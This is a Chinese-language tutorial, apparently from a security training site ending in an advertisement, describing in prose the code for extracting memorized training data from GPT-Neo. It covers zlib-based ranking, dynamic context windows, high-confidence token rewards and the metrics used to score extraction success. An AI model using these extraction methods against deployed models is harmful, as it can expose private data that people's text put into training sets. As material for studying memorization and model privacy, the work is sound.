如下函数组合在一起用于评估和比较语言模型的生成质量。write_array函数保存生成结果,hamming函数计算生成文本与真实文本之间的汉明距离,gt_position函数计算真实答案的损失,compare_loss函数比较生成文本与真实文本的损失,plot_hist函数则用于可视化损失分布。通过这些步骤,可以全面评估模型在生成任务中的表现和准确性。
1. write_array
功能: 将numpy数组保存到文件中,文件名包含一个唯一标识符。
输入: 文件路径(包含格式化标记)、数组、唯一标识符(整数或字符串)。
实现: 使用给定的格式化标记生成文件名,然后将数组保存到该文件中。
2. hamming
功能: 计算生成序列与真实序列之间的汉明距离。
输入: 真实序列和生成的序列。
实现:
如果生成的序列是二维的,逐行计算每行的汉明距离。
否则,计算生成序列第一行与真实序列的汉明距离。
返回平均汉明距离和汉明距离的形状。
3. gt_position
功能: 计算真实答案序列的损失。
输入: 真实答案序列列表和批次大小(默认为50)。
实现:
将答案分批处理。
计算每个标记的logits。
使用交叉熵计算每个标记的损失。
提取后缀部分的损失,并计算平均损失。
返回每个序列的损失列表。
4. compare_loss
功能: 比较真实序列和生成序列的损失。
输入: 真实序列的损失和生成序列的损失。
实现:
将两组损失拼接在一起。
对每个序列的损失进行排序。
获取排序后的索引。
返回排序后的损失,排序索引和排名第一的索引。
5. plot_hist
功能: 绘制损失的直方图。
输入: 损失数组。
实现: 该函数目前为空,未实现绘图逻辑。
如下函数组合在一起用于处理和评估语言模型的生成任务。load_prompts函数加载提示数据,is_memorization函数评估生成模型是否记住了训练数据,error_100函数计算在发生100次错误之前的匹配次数,precision_multiprompts函数计算多提示生成序列的精确度,prepare_data函数则准备实验所需的数据和目录结构。这些步骤帮助全面评估和改进模型的生成质量和泛化能力。
1. load_prompts
功能: 从指定目录加载numpy文件并转换为64位整数类型的numpy数组。
输入:
dir_: 文件所在的目录路径。
file_name: 文件名。
实现: 通过拼接目录路径和文件名构造完整文件路径,加载文件并转换数据类型。
2. is_memorization
功能: 计算生成的序列与真实序列完全匹配的比例,以确定模型是否记住了训练数据。
输入:
guesses: 生成的序列。
answers: 真实序列。
实现:
对比生成的序列和真实序列是否完全相同,统计完全匹配的次数。
计算匹配次数在所有生成序列中的比例。
3. error_100
功能: 计算在前100个错误之前的正确匹配次数。
输入:
guesses_order: 按顺序排列的生成序列。
order: 序列顺序索引。
answers: 真实序列。
实现:
遍历生成序列,统计与真实序列匹配的次数,直到发生100次错误为止。
返回在发生100次错误之前的总遍历次数和超出100次错误的匹配数。
4. precision_multiprompts
功能: 计算多提示生成序列的精确度。
输入:
generations: 多提示生成的序列。
answers: 真实序列。
num_perprompt: 每个提示生成的序列数量。
实现:
截取每个提示生成的前num_perprompt个序列。
检查每个提示生成的序列是否与真实序列匹配。
计算匹配的提示数量占总提示数量的比例。
5. prepare_data
功能: 准备数据和目录结构以进行实验。
输入:
val_set_num: 验证集的数量。
实现:
构造实验目录和生成结果、损失结果的子目录。
加载提示数据,并提取验证集部分的提示数据。
返回构造的目录路径和提示数据。
### 如下函数组合在一起用于处理和评估语言模型的生成任务。
write_guesses_order函数将生成的序列按顺序写入CSV文件,便于进一步分析。
edit_dist函数计算生成序列和真实序列之间的编辑距离,这是评估生成质量的重要指标。
metric_print函数计算并打印各种评估指标,包括精度、多提示精度、前100个错误之前的正确匹配数、汉明距离和编辑距离。这些指标帮助全面评估模型在生成任务中的表现和准确性。
1. write_guesses_order
功能: 将生成的序列按顺序写入CSV文件。
输入:
generations_per_prompt: 每个提示生成的序列数。
order: 序列的顺序索引。
guesses_order: 生成的序列按顺序排列。
实现:
打开CSV文件进行写操作,文件名包含generations_per_prompt。
写入表头。
遍历序列索引和生成的序列,将每个序列按指定格式写入CSV文件。
2. edit_dist
功能: 计算生成序列和真实序列之间的编辑距离。
输入:
answers: 真实序列。
generations_one: 生成的单个序列。
实现:
初始化编辑距离总和为0。
遍历真实序列和生成序列,计算每对序列的编辑距离并累加。
返回平均编辑距离。
3. metric_print
功能: 计算并打印各种评估指标。
输入:
generations_one: 单个生成序列。
all_generations: 所有生成序列。
generations_per_prompt: 每个提示生成的序列数。
generations_order: 按顺序排列的生成序列。
order: 序列的顺序索引。
val_set_num: 验证集的数量。
实现:
加载真实答案数据。
打印生成序列和真实序列的形状。
计算生成序列的精度并打印。
计算多提示生成序列的精度并打印。
计算前100个错误之前的正确匹配数并打印。
计算生成序列和真实序列的汉明距离并打印。
计算生成序列和真实序列的编辑距离并打印。
返回各种评估指标。
我们首先来看基线的攻击效果
我们在前面提到Zlib 压缩算法,可以用来衡量文本的熵,即信息内容的量化指标。在这项研究中,Zlib 用于与语言模型计算的困惑度相结合,作为成员推断的一个度量标准。具体地,使用 GPT-Neo 模型对给定句子计算的困惑度与相同句子的 Zlib 熵的比值,来评估句子是否可能属于模型的训练数据集。但是 Zlib 方法的效果是有限的。尽管 Zlib 熵和困惑度都是衡量模型对句子预测信心的指标,且两者在模型高度自信时趋于减少,但它们在成员推断任务的整体性能上只产生了边际(即很小的)改进。这表明,尽管 Zlib 方法在理论上是一个有趣的尝试,但在实际应用中可能不是最有效的手段。所以我们可以来看看是否如此
首先来看看zlib在实现上的不同
generate_for_prompts函数用于生成给定提示的输出序列,并计算每个生成序列的损失
输入参数
prompts: 一个包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量,默认值为32。
输出
生成的序列数组和对应的损失数组。
步骤
初始化:
generations 和 losses 用于存储生成的序列和计算的损失。
generation_len 计算生成序列的长度,该长度为后缀和前缀的总和。
批次处理:
将提示序列按批次进行处理。
对每个批次,提取相应的提示序列,并将其转换为PyTorch张量。
生成序列:
在禁用梯度计算的上下文中,使用模型生成序列。
max_length 设置为生成序列的总长度。
do_sample=True 和 top_k=10 控制生成策略。
pad_token_id=50256 设置填充标记ID,避免警告。
计算损失:
生成序列后,计算每个生成序列的概率。
将生成的序列作为输入和标签传递给模型。
提取logits并重新形状,以适应交叉熵损失计算。
计算每个标记的损失,只考虑后缀部分的损失。
压缩长度调整:
使用zlib库对每个生成的序列进行压缩,并获取压缩后的长度。
调整每个生成序列的损失,使其与压缩长度成正比。
结果存储:
将生成的序列和对应的损失添加到结果列表中。
最后,将结果转换为至少二维的numpy数组并返回。
该函数通过以下几个步骤生成序列并计算损失:
按批次加载提示序列。
使用预训练模型生成序列。
计算生成序列的损失。
通过压缩调整损失。
存储并返回生成的序列和损失。
这种方法既考虑了生成序列的质量(通过损失计算),又通过压缩长度的调整,间接考虑了序列的复杂性和压缩率。
执行后效果如下
之前还提到了动态上下文窗口(Dynamic Context Window)技术。
在语言模型生成文本时,如果生成了一个错误的token,可能会因为语言模型的自回归特性而导致后续的token也生成错误。通过使用动态上下文窗口,可以从不同长度的历史上下文中获取信息,这有助于减少这种错误传播。通过调整上下文窗口的大小,即考虑不同数量的之前生成的token,可以帮助模型更好地理解前缀的上下文,从而提高生成后缀的准确性。文中提到的实验结果显示,使用动态上下文窗口可以显著提高数据提取的准确性。动态上下文窗口允许模型在生成每个token时考虑不同长度的上下文,这增加了生成过程的灵活性,使模型能够根据当前的上下文信息选择最合适的token。
有两种实现动态上下文窗口的方法。第一种是加权平均策略(Weighted Average Strategy),第二种是基于投票机制的策略(Voting Strategy)。两种方法都旨在结合不同窗口大小生成的概率,以提高生成后缀的准确性。
我们首先来看代码上的不同
1. winlen_logits_output
功能: 计算输入序列的一部分(从win_len到input_len的片段)的模型输出logits。
输入:
input_batch: 输入序列的批次。
win_len: 截断窗口的起始位置。
input_len: 截断窗口的结束位置。
answer_batch: 真实答案的批次。
实现:
禁用梯度计算以提高效率。
截取输入序列的指定部分并传递给模型,计算logits。
初始化一个空列表val,准备存储一些计算结果(但在此函数中并未实际使用)。
根据训练标志决定如何处理logits。
返回最后一层logits和空的val列表。
2. zlib_filter
功能: 预留的过滤函数,目前没有实现任何功能。
3. vote_for_the_one
功能: 通过投票机制选择最可能的输出序列。
输入:
last_logits: 最后一层的logits。
k: 用于投票的前k个logits。
answers: 真实答案。
input_len: 输入序列的长度。
实现:
初始化投票计数数组。
获取logits中每个序列的前k个最高值的索引。
为每个索引分配线性权重。
打印预测结果和原始结果的比较。
返回投票计数最高的索引作为最终预测。
4. logits_add
功能: 通过加权求和的方式整合logits,得到最终的预测。
输入:
last_logits: 多个窗口的logits。
weight_win: 每个窗口的权重。
实现:
使用权重加权求和各个窗口的logits。
返回加权求和后的logits中概率最高的索引作为最终预测。
这些函数用于处理和评估生成模型的输出:
winlen_logits_output 提取并计算输入序列部分片段的logits,帮助理解模型对不同输入片段的响应。
vote_for_the_one 使用投票机制从logits中选择最可能的输出,提高预测的准确性。
logits_add 通过加权求和不同窗口的logits,进一步优化预测结果。
zlib_filter 目前未实现,可能预留用于将来对数据进行某种过滤处理。
这用于生成给定提示的输出序列,并计算每个生成序列的损失的函数
输入参数
prompts: 包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量。
_SUFFIX_LEN, _PREFIX_LEN: 后缀和前缀的长度。
_DATASET_DIR.value: 数据集的目录路径。
_val_set_num.value: 用于加载的验证集数量。
输出
生成的序列数组 (generations) 和对应的损失数组 (losses)。
主要步骤
初始化:
generations 和 losses 初始化为空列表。
generation_len 计算生成序列的长度,为后缀和前缀长度之和。
answers 加载验证集的答案数据。
循环处理提示序列:
根据设定的批次大小,循环处理提示序列。
每次循环中,提取并准备输入的提示批次 (prompt_batch) 和对应的答案批次 (answers_batch)。
生成序列:
使用带有截断窗口的方法生成序列,通过调用 gene_next_token 函数获取每次生成的下一个标记。
将生成的标记 (generated_tokens) 拼接在一起形成完整的生成序列。
将生成序列转换为PyTorch张量,并在禁用梯度计算的上下文中生成模型输出 (generated_tokens 是最终的生成序列)。
计算损失:
计算每个生成序列的logits。
使用交叉熵损失函数计算损失。
将损失加入到 losses 列表中。
返回结果:
将 generations 和 losses 转换为至少二维的numpy数组,并返回。
执行后效果如下
在上图可以看到指标有极大的提升(可以看precision,精确度是指正确生成的后缀占给定前缀总数的比例。这是通过比较生成的后缀和实际的训练数据后缀来计算的。精确度反映了模型生成正确后缀的能力。这个值越高说明效果越好;或者也可以看hamming dist,汉明距离是用来衡量两个等长字符串之间差异的指标,计算为两个字符串对应位置上不同符号的数量。在训练数据提取的上下文中,汉明距离用来定量评估生成后缀与真实后缀之间的相似度,提供了一个在token级别上对提取方法性能的评估。这个值越小,说明效果越好)
在来看看我们在上文提到的另一个改进策略:一种基于词级别的排名方法,称为 "Reward on high confidence"(简称 highconf 方法)。这种方法的核心思想是奖励那些在生成后缀中包含高置信度 token 的候选后缀。具体来说,如果一个生成的后缀中的某个 token 具有高于特定阈值(例如 0.9)的概率,那么这个后缀在排名时会被赋予更高的分数。这种策略的目的是利用语言模型对其预测的置信度来提高提取任务的性能。
对应的代码如下
这段代码的功能是生成给定提示的输出序列,并计算每个生成序列的损失。
输入参数
prompts: 包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量。默认为32。
输出
生成的序列数组 (generations) 和对应的损失数组 (losses)。
主要步骤
初始化:
generations 和 losses 初始化为空列表。
generation_len 计算生成序列的长度,为后缀和前缀长度之和。
将输入的 batch_size 设置为32,这个值在后续循环中使用。
循环处理提示序列:
根据设定的批次大小,循环处理提示序列。
每次循环中,提取并准备输入的提示批次 (prompt_batch),并将其转换为PyTorch张量 (input_ids)。
生成序列:
使用带有截断的方法生成序列,通过调用 _MODEL.generate 函数获取生成的标记 (generated_tokens)。
在生成的标记上禁用梯度计算,并通过计算模型输出 (outputs.logits) 获得每个标记的logits值。
损失计算:
计算每个标记的损失 (loss_per_token),使用交叉熵损失函数 (torch.nn.functional.cross_entropy)。
对损失进行后处理:
使用标准差过滤异常值,如果损失超出3倍标准差范围,则设置为1。
根据前两个最高的logits分数之间的差异和是否大于0.5来调整损失值。
最后,计算每个生成序列的平均损失 (likelihood)。
结果整理:
将生成的序列 (generated_tokens) 和损失 (likelihood) 添加到 generations 和 losses 列表中。
返回结果:
将 generations 和 losses 转换为至少二维的numpy数组,并返回。
执行后如下所示
在上图中,也是用我们之前说的方法,看指标,precision,hamming dist等都相比基线方法有了较大提升。也就表明我们在本文中所说的这些策略都是有效的。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

